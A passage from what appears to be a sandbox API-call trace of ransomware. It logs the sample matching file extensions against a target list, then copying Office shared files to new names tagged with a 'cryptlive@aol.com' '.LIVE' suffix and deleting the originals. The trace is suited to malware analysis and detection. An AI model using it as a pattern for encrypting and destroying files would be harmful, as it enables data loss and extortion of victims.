4 [0056.280] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0056.280] lstrlenW (lpString=".docx") returned 5 [0056.280] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0056.280] lstrlenW (lpString=".pdf") returned 4 [0056.280] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0056.280] lstrlenW (lpString=".xls") returned 4 [0056.280] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0056.280] lstrlenW (lpString=".xlsx") returned 5 [0056.280] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0056.280] lstrlenW (lpString=".ppt") returned 4 [0056.280] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0056.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.280] lstrlenW (lpString=".zip") returned 4 [0056.280] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0056.280] lstrlenW (lpString=".rar") returned 4 [0056.280] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0056.280] lstrlenW (lpString=".bz2") returned 4 [0056.280] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0056.280] lstrlenW (lpString=".7z") returned 3 [0056.280] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0056.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.281] lstrlenW (lpString=".dbf") returned 4 [0056.281] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.281] lstrlenW (lpString=".1cd") returned 4 [0056.281] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0056.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.281] lstrlenW (lpString=".jpg") returned 4 [0056.281] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.281] lstrlenW (lpString=".doc") returned 4 [0056.281] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString=".docx") returned 5 [0056.281] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0056.281] lstrlenW (lpString=".pdf") returned 4 [0056.281] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString=".xls") returned 4 [0056.281] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString=".xlsx") returned 5 [0056.281] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0056.281] lstrlenW (lpString=".ppt") returned 4 [0056.281] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.281] lstrlenW (lpString=".zip") returned 4 [0056.281] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString=".rar") returned 4 [0056.281] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString=".bz2") returned 4 [0056.281] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0056.281] lstrlenW (lpString=".7z") returned 3 [0056.281] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0056.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.281] lstrlenW (lpString=".dbf") returned 4 [0056.281] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0056.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.282] lstrlenW (lpString=".1cd") returned 4 [0056.282] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0056.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.282] lstrlenW (lpString=".jpg") returned 4 [0056.282] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0056.282] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0056.282] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0056.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0056.282] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=543304) returned 1 [0056.282] CloseHandle (hObject=0x160) returned 1 [0056.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0056.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0056.283] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.283] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0056.284] GetLastError () returned 0x0 [0056.284] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0056.375] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0056.404] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.404] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.405] SetEndOfFile (hFile=0x208) returned 1 [0056.405] CloseHandle (hObject=0x208) returned 1 [0056.405] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.405] SetEndOfFile (hFile=0x160) returned 1 [0056.410] CloseHandle (hObject=0x160) returned 1 [0056.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.410] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0056.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.411] lstrlenW (lpString=".doc") returned 4 [0056.411] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0056.411] lstrlenW (lpString=".docx") returned 5 [0056.411] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0056.411] lstrlenW (lpString=".pdf") returned 4 [0056.411] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0056.411] lstrlenW (lpString=".xls") returned 4 [0056.411] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0056.411] lstrlenW (lpString=".xlsx") returned 5 [0056.411] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0056.411] lstrlenW (lpString=".ppt") returned 4 [0056.411] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0056.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.411] lstrlenW (lpString=".zip") returned 4 [0056.411] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0056.411] lstrlenW (lpString=".rar") returned 4 [0056.411] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0056.411] lstrlenW (lpString=".bz2") returned 4 [0056.411] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0056.411] lstrlenW (lpString=".7z") returned 3 [0056.411] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0056.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.411] lstrlenW (lpString=".dbf") returned 4 [0056.411] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0056.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.411] lstrlenW (lpString=".1cd") returned 4 [0056.411] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0056.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.411] lstrlenW (lpString=".jpg") returned 4 [0056.411] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0056.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.412] lstrlenW (lpString=".doc") returned 4 [0056.412] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0056.412] lstrlenW (lpString=".docx") returned 5 [0056.412] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0056.412] lstrlenW (lpString=".pdf") returned 4 [0056.412] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0056.412] lstrlenW (lpString=".xls") returned 4 [0056.631] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0056.631] lstrlenW (lpString=".xlsx") returned 5 [0056.631] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0056.631] lstrlenW (lpString=".ppt") returned 4 [0056.631] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0056.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.631] lstrlenW (lpString=".zip") returned 4 [0056.631] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0056.631] lstrlenW (lpString=".rar") returned 4 [0056.631] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0056.631] lstrlenW (lpString=".bz2") returned 4 [0056.631] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0056.631] lstrlenW (lpString=".7z") returned 3 [0056.631] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0056.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.631] lstrlenW (lpString=".dbf") returned 4 [0056.631] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0056.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.631] lstrlenW (lpString=".1cd") returned 4 [0056.631] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0056.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0056.632] lstrlenW (lpString=".jpg") returned 4 [0056.632] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0056.632] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0056.632] lstrlenW (lpString="offfiltx.dll") returned 12 [0056.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0056.974] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1486736) returned 1 [0056.974] CloseHandle (hObject=0x194) returned 1 [0056.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0056.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0056.975] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.975] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0056.975] GetLastError () returned 0x0 [0056.975] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0057.099] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0057.458] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0057.476] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0057.490] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.490] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.491] SetEndOfFile (hFile=0x208) returned 1 [0057.491] CloseHandle (hObject=0x208) returned 1 [0057.491] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.491] SetEndOfFile (hFile=0x194) returned 1 [0057.495] CloseHandle (hObject=0x194) returned 1 [0057.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0057.496] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0057.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.496] lstrlenW (lpString=".doc") returned 4 [0057.496] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.496] lstrlenW (lpString=".docx") returned 5 [0057.496] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0057.496] lstrlenW (lpString=".pdf") returned 4 [0057.496] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.496] lstrlenW (lpString=".xls") returned 4 [0057.496] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.496] lstrlenW (lpString=".xlsx") returned 5 [0057.496] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0057.496] lstrlenW (lpString=".ppt") returned 4 [0057.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.496] lstrlenW (lpString=".zip") returned 4 [0057.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.496] lstrlenW (lpString=".rar") returned 4 [0057.496] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.496] lstrlenW (lpString=".bz2") returned 4 [0057.496] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.496] lstrlenW (lpString=".7z") returned 3 [0057.496] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.496] lstrlenW (lpString=".dbf") returned 4 [0057.496] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.497] lstrlenW (lpString=".1cd") returned 4 [0057.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.497] lstrlenW (lpString=".jpg") returned 4 [0057.497] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.497] lstrlenW (lpString=".doc") returned 4 [0057.497] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.497] lstrlenW (lpString=".docx") returned 5 [0057.497] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0057.497] lstrlenW (lpString=".pdf") returned 4 [0057.497] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.497] lstrlenW (lpString=".xls") returned 4 [0057.497] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.497] lstrlenW (lpString=".xlsx") returned 5 [0057.497] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0057.497] lstrlenW (lpString=".ppt") returned 4 [0057.497] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.497] lstrlenW (lpString=".zip") returned 4 [0057.497] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.497] lstrlenW (lpString=".rar") returned 4 [0057.497] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.497] lstrlenW (lpString=".bz2") returned 4 [0057.497] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.497] lstrlenW (lpString=".7z") returned 3 [0057.497] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.497] lstrlenW (lpString=".dbf") returned 4 [0057.497] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.497] lstrlenW (lpString=".1cd") returned 4 [0057.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0057.498] lstrlenW (lpString=".jpg") returned 4 [0057.498] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.498] lstrcmpiW (lpString1=".FLT", lpString2=".LIVE") returned -1 [0057.498] lstrlenW (lpString="PNG32.FLT") returned 9 [0057.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.002] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=302976) returned 1 [0060.002] CloseHandle (hObject=0x21c) returned 1 [0060.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0060.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0060.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.002] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.002] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.875] GetLastError () returned 0x0 [0061.875] ReadFile (in: hFile=0x21c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0061.882] WriteFile (in: hFile=0x1f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0061.888] ReadFile (in: hFile=0x21c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.888] WriteFile (in: hFile=0x1f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.888] SetEndOfFile (hFile=0x1f4) returned 1 [0061.888] CloseHandle (hObject=0x1f4) returned 1 [0061.888] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.888] SetEndOfFile (hFile=0x21c) returned 1 [0061.891] CloseHandle (hObject=0x21c) returned 1 [0061.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0061.892] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0061.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.892] lstrlenW (lpString=".doc") returned 4 [0061.892] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0061.892] lstrlenW (lpString=".docx") returned 5 [0061.892] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0061.892] lstrlenW (lpString=".pdf") returned 4 [0061.892] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0061.892] lstrlenW (lpString=".xls") returned 4 [0061.892] lstrcmpiW (lpString1=".xls", 